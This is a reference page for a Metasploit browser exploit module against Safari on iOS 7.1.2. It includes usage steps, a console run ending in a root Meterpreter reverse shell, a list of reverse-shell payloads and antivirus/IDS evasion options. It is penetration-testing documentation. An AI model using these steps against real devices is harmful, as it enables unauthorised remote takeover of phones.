Safari Webkit JIT Exploit for iOS 7.1.2 - Metasploit


This page contains detailed information about how to use the exploit/apple_ios/browser/safari_jit metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Safari Webkit JIT Exploit for iOS 7.1.2
Module: exploit/apple_ios/browser/safari_jit
Source code: modules/exploits/apple_ios/browser/safari_jit.rb
Disclosure date: 2016-08-25
Last modification time: 2021-02-16 13:56:50 +0000
Supported architecture(s): armle
Supported platform(s): Apple_iOS
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-4669, CVE-2018-4162

This module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw, obtains root and disables code signing. Finally we download and execute the meterpreter payload. This module has been tested against iOS 7.1.2 on an iPhone 4.

Module Ranking and Traits

Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage

msf > use exploit/apple_ios/browser/safari_jit
msf exploit(safari_jit) > exploit

Knowledge Base

Vulnerable Application

This module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw, obtains root and disables code signing. Finally we download and execute the meterpreter payload.

This module has been tested against iOS 7.1.2 on an iPhone 4.

Verification Steps

  1. Start msfconsole
  2. Do: use exploit/apple_ios/browser/safari_jit
  3. Do: set lhost [ip]
  4. Do: set srvhost [ip]
  5. Do: run
  6. Browse to the website with a vulnerable device
  7. You should get a root shell.

Options

DEBUG_EXPLOIT

Show debug information during exploitation. This will add entries to the iPhone syslog related to exploitation and loading of the payload. Defaults to false

Scenarios

iPhone 4 with iOS 7.1.2

msf5 > use exploit/apple_ios/browser/safari_jit
[*] Using configured payload apple_ios/armle/meterpreter_reverse_tcp
msf5 exploit(apple_ios/browser/safari_jit) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf5 exploit(apple_ios/browser/safari_jit) > set srvhost 1.1.1.1
srvhost => 1.1.1.1
msf5 exploit(apple_ios/browser/safari_jit) > set verbose true
verbose => true
msf5 exploit(apple_ios/browser/safari_jit) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(apple_ios/browser/safari_jit) > 
[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Using URL: http://1.1.1.1:8080/
[*] Server started.
[*] 2.2.2.2    safari_jit - Request / from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2    safari_jit - Request /loader.b64?cache=1596557302841 from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2    safari_jit - Request /macho.b64?cache=1596557303179 from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2    safari_jit - Request /payload from MobileSafari/9537.53 CFNetwork/672.1.15 Darwin/14.0.0
[+] 2.2.2.2    safari_jit - Target is vulnerable, sending payload!
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:49299) at 2020-08-04 12:08:27 -0400
sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root @ iPhone (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 2.2.2.2
OS           : iPhone3,3 (iOS 11D257)
Architecture : armv7
BuildTuple   : arm-iphone-darwin
Meterpreter  : armle/apple_ios

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Msfconsole Usage

Here is how the apple_ios/browser/safari_jit exploit module looks in the msfconsole:

msf6 > use exploit/apple_ios/browser/safari_jit

[*] Using configured payload apple_ios/armle/meterpreter_reverse_tcp
msf6 exploit(apple_ios/browser/safari_jit) > show info

       Name: Safari Webkit JIT Exploit for iOS 7.1.2
     Module: exploit/apple_ios/browser/safari_jit
   Platform: Apple_iOS
       Arch: armle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2016-08-25

Provided by:
  kudima
  Ian Beer
  WanderingGlitch
  timwr

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH  /                yes       The URI to use for this exploit.

Payload information:

Description:
  This module exploits a JIT optimization bug in Safari Webkit. This 
  allows us to write shellcode to an RWX memory section in 
  JavaScriptCore and execute it. The shellcode contains a kernel 
  exploit (CVE-2016-4669) that obtains kernel rw, obtains root and 
  disables code signing. Finally we download and execute the 
  meterpreter payload. This module has been tested against iOS 7.1.2 
  on an iPhone 4.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-4669
  https://nvd.nist.gov/vuln/detail/CVE-2018-4162
  https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell
  https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons
  https://bugs.chromium.org/p/project-zero/issues/detail?id=882

Module Options

This is a complete list of options available in the apple_ios/browser/safari_jit exploit:

msf6 exploit(apple_ios/browser/safari_jit) > show options

Module options (exploit/apple_ios/browser/safari_jit):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /                yes       The URI to use for this exploit.

Payload options (apple_ios/armle/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the apple_ios/browser/safari_jit exploit:

msf6 exploit(apple_ios/browser/safari_jit) > show advanced

Module advanced options (exploit/apple_ios/browser/safari_jit):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DEBUG_EXPLOIT           false            no        Show debug information during exploitation
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (apple_ios/armle/meterpreter_reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the apple_ios/browser/safari_jit module can exploit:

msf6 exploit(apple_ios/browser/safari_jit) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the apple_ios/browser/safari_jit exploit:

msf6 exploit(apple_ios/browser/safari_jit) > show payloads

Compatible Payloads
===================

   #  Name                                               Disclosure Date  Rank    Check  Description
   -  ----                                               ---------------  ----    -----  -----------
   0  payload/apple_ios/armle/meterpreter_reverse_http                    normal  No     Apple_iOS Meterpreter, Reverse HTTP Inline
   1  payload/apple_ios/armle/meterpreter_reverse_https                   normal  No     Apple_iOS Meterpreter, Reverse HTTPS Inline
   2  payload/apple_ios/armle/meterpreter_reverse_tcp                     normal  No     Apple_iOS Meterpreter, Reverse TCP Inline
   3  payload/generic/custom                                              normal  No     Custom Payload
   4  payload/generic/shell_bind_tcp                                      normal  No     Generic Command Shell, Bind TCP Inline
   5  payload/generic/shell_reverse_tcp                                   normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the apple_ios/browser/safari_jit exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(apple_ios/browser/safari_jit) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • kudima
  • Ian Beer
  • WanderingGlitch
  • timwr

Version

This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.

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